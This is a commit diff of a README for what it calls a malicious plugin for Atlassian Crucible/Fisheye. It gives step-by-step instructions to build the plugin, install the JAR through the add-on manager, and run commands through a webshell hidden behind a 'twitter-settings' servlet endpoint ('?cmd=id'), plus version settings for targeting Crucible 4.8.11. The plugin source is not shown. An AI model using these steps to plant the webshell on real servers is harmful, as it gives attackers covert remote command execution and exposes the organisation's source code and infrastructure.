Update README.md

README.md

@@ -1,7 +1,7 @@
+## Summary
 A malicious plugin for Atlassian Crucible/Fisheye that when installed gives command execution via `/plugins/servlet/twitter-settings?cmd=id` endpoint
 
-
-#### Usage
+## Usage
 1. Install Atlassian Plugin SDK. E.g. for MacOS:
 ```bash
 brew tap atlassian/tap
@@ -19,5 +19,13 @@ cd fecru-webshell-plugin
 atlas-package
 ```
 
-4. Navigate to http://crucible:8060/plugins/servlet/upm?source=side_nav_manage_addons & install the JAR
-5. Enjoy your webshell at: http://crucible:8060/plugins/servlet/twitter-settings?cmd=id
+4. Generated JAR is now placed at `./target/fecrutwitter-1.0.0-SNAPSHOT.jar`
+5. Navigate to http://crucible:8060/plugins/servlet/upm?source=side_nav_manage_addons & install the JAR
+6. Enjoy your webshell at: http://crucible:8060/plugins/servlet/twitter-settings?cmd=id
+
+### Important note
+Currently this plugin is designed to work with Crucible/Fisheye `4.8.11`. If you would like to install it on another version, please change the versions & build numbers accordingly inside `pom.xml`
+```xml
+        <fecru.version>4.8.11-20221216114657</fecru.version>
+        <fecru.data.version>4.8.11-20221216114657</fecru.data.version>
+```